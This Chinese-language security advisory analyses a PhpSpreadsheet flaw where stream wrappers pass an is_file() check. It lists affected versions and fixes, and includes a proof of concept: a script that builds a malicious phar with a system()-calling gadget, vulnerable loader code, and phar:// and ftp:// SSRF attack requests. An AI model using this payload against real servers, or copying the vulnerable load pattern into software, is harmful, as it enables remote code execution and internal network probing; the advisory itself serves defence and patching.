CVE-2026-34084 — PhpSpreadsheet IOFactory::load SSRF → RCE 分析
📋 漏洞概述
PhpSpreadsheet 是一个广泛使用的 PHP 电子表格解析库(PHPExcel 的继任者),几乎任何处理 Excel/CSV 上传的 PHP 应用都会用到它。
当 IOFactory::load($filename) 的 $filename 参数来源于用户输入时,攻击者可以通过 PHP stream wrapper(phar://、ftp://、ssh2.sftp://)绕过文件类型检查,实现 SSRF 甚至 RCE。
🔍 漏洞信息
CVE 编号CVE-2026-34084GHSA 编号GHSA-q4q6-r8wh-5cgh严重程度CRITICALCVSS 评分9.2漏洞类型SSRF → RCE (Phar Deserialization)公开日期2026-04-29PoC 状态已公开 ✅
🎯 影响版本
该漏洞影响 PhpSpreadsheet 所有主版本线:
v1.x≤ 1.30.2v2.0.x≤ 2.1.14v2.2.x ~ v2.4.x≤ 2.4.3v3.3.x ~ v3.10.x≤ 3.10.3v4.x ~ v5.x≤ 5.5.0修复版本1.30.3 / 2.1.15 / 2.4.4 / 3.10.4 / 5.6.0 / 5.7.0 ✅
🔬 根因分析
核心问题:is_file() 函数对 PHP stream wrapper 敏感。 攻击者传入 phar://... 或 ftp://... 时,is_file() 返回 true,导致检查被绕过。
PhpSpreadsheet 的 File::assertFile() 方法(被所有 Reader 实现调用)使用 is_file() 验证 $filename 是否是一个实际文件:
// src/PhpSpreadsheet/Helper/File.php 中的核心逻辑public static functionassertFile(string $filename): void{ if (!is_file($filename)) { // ← 这里能通过 phar:// ftp:// ssh2.sftp://throw newException("File not found"); } }PHP 的 is_file() 在检测 php wrapper 时行为依赖于 wrapper 是否实现了 stat() 方法。以下三个 wrapper 全部实现了 stat(),因此能通过检查:
- phar:// — RCE 关键入口 —— 配合 phar 反序列化
- ftp://
- ssh2.sftp:// — SSRF —— 可尝试连接内网 SSH/SFTP
其中 phar:// 最具威胁:攻击者可以先上传一个构造好的 .phar 文件(利用 phar 元数据存储序列化对象),然后通过 IOFactory::load('phar://uploaded.phar') 触发 phar 反序列化,在 __destruct() / __wakeup() 魔术方法中执行任意代码。
💣 PoC 流程
攻击链路:
⚠️ 攻击条件:
- 应用将用户输入直接传给
IOFactory::load($filename) - 存在可利用的反序列化 gadget chain(或通过应用自身的类)
Step 1: 构造恶意 phar 文件
// php -c php.ini make_phar.php (phar.readonly=0)<?phpclassGadgetClass { public $data; function__destruct() { system($this->data); // 或 eval/assert 等 } } $phar = newPhar('payload.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar['test.txt'] = 'content'; $phar->setMetadata(newGadgetClass('calc.exe')); $phar->stopBuffering();Step 2: 通过 IOFactory::load 触发
// 应用代码(存在漏洞的写法)$filename = $_GET['file']; // 用户可控$spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($filename); // ← RCE!
Step 3: 攻击请求
# 需要先将 phar 文件上传到服务器(如通过文件上传功能)GET /parse.php?file=phar://uploads/payload.phar HTTP/1.1 Host: target.com# 或通过 ftp wrapper 做 SSRFGET /parse.php?file=ftp://internal-server:2121/ shares.xlsx HTTP/1.1 Host: target.com
⬇
IOFactory::load → File::assertFile(is_file) → phar 元数据反序列化 → RCE
🛡️ 修复建议
✅ 立即升级到最新版 5.7.0
- 主版本线升级:
composer require phpoffice/phpspreadsheet:^5.7.0 - 各旧版本修补线:1.30.3 / 2.1.15 / 2.4.4 / 3.10.4 / 5.6.0
📌 临时缓解措施(不能立即升级时)
- 调用
IOFactory::load() 前对 $filename 做 scheme 白名单验证:只允许 file:// 或本地路径 - 使用
realpath() 解析路径后验证是否在预期的 upload 目录内 - 禁用 phar:// 等危险 wrapper:在
php.ini 中设置 allow_url_fopen = Off
使用 stream_get_wrappers()
最佳实践:
任何文件处理库(不仅仅是 PhpSpreadsheet),只要涉及 is_file()
、file_exists()、file_get_contents() 等 PHP 文件函数,都可能被 stream wrapper 绕过。永远不要将用户输入直接传给文件操作函数——这是 PHP 安全的铁律。
⏱️ 时间线
2026-04-29GHSA 报告公开
2026-04-305.6.0 修复版本发布
2026-05-08GHSA 更新(PoC 补充)
2026-06-04当前最新版 5.7.0 ✅
免责声明:本文仅供安全研究和防御目的使用。请勿将漏洞信息用于非法活动。作者不对因使用本文信息造成的任何直接或间接损失承担责任。